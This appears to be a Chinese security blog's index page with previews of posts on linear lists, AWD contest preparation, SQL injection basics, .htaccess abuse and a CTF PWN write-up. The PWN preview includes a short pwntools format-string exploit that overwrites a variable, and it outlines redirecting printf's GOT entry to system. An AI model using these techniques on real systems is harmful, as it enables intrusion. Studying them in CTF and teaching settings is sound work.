13k 33 分钟

# 线性表 一个具有相同性质的的数据元素的序列 # 顺序存储和链式存储 # 顺序存储 什么是顺序储存呢? 我们学 c 语言没多久就接触到了数组这个概念,这里所了解到的数组就是顺序储存 我们在很多地方都会用到数组使得我们的算法实现更加简单,但是当我们想要删除某个或者在某个位置加入一个元素的时候就会非常的麻烦 如上图中,如果我们想在 12 之间加入一个字母 A,那么我们就需要将所有的元素后移一位,缺点很明显 数据量大的时候需要移动大量数据,不符合算法的设计要求 数组需要开一个庞大的空间为了防止溢出 为了解决这些问题我们可以选用链式存储的方式 #...
15k 39 分钟

# 查看比赛信息、规则 注意赛方的限制比如说提交 flag 的间隔时间,flag 的获取方式,通防的限制,对后门的处理要求等要注意的点,避免 check 丢分 # 改密码 awd 模式每个队伍会有若干台服务器需要维护,如果主办方平台给的密码较为简单存在弱口令或者可能被爆破成功的机会,尽快修改密码,密码主要是三个方面: ssh 连接密码即本地密码 passwd {用户名} 做修改即可 MySQL 登录密码 1. 使用 SET PASSWORD 命令步骤 1):输入命令mysql -u root -p指定 root 用户登录...
7.5k 19 分钟

# 什么是 sql 注入 学一个漏洞我们应该知道,漏洞的危害,成因、原理、攻击方式,以及防御方式。所以这里首先聊一聊什么是 sql 注入,SQL 注入分类于 web 安全漏洞,通过 sql 注入攻击者可以干扰应用程序对其数据库进行查询。它通常允许攻击者查看他们正常无法检索到的数据。许多情况下攻击者可以对数据库进行增删改查的操作 # sql 注入的危害 前面说完了什么是 sql 注入,接下来我们聊一聊 sql 注入漏洞造成的危害,sql...
4.1k 10 分钟

# .htaccess 文件的利用 自动生成.htaccess 的网站 分布式配置文件,它里面存放着 apache 服务器配置相关命令,提供了针对目录改变配置的方法,作用范围是当前目录及其子目录 使用前,首先要启用 htacces,将 AllowOveride 的配置改为 all AllowOverride 从字面上解释是允许覆盖的意思,即 Apache 允许另一配置文件覆盖现有配置文件。 在 AllowOverride 设置为 None 时, .htaccess 文件将被完全忽略。当此指令设置为 All 时,所有具有 “.htaccess” 作用域的指令都允许出现在 .htaccess...
15k 38 分钟

# PWN # create_id 漏洞点 有后门,格式化字符串漏洞,去修改 x 的值为 9,然后获取 flag 即可。 from pwn import *p=process(./k)d = int(p.recv(10), 16)for I in range(3):p.sendline('123')king = p32(d)+'%5c%10$n'p.sendline(king)p.interactive()# sim_treasure 漏洞点: 无后门,格式化字符串漏洞。 泄露 libc 基地址,修改 printf 的 got 表为 system,执行...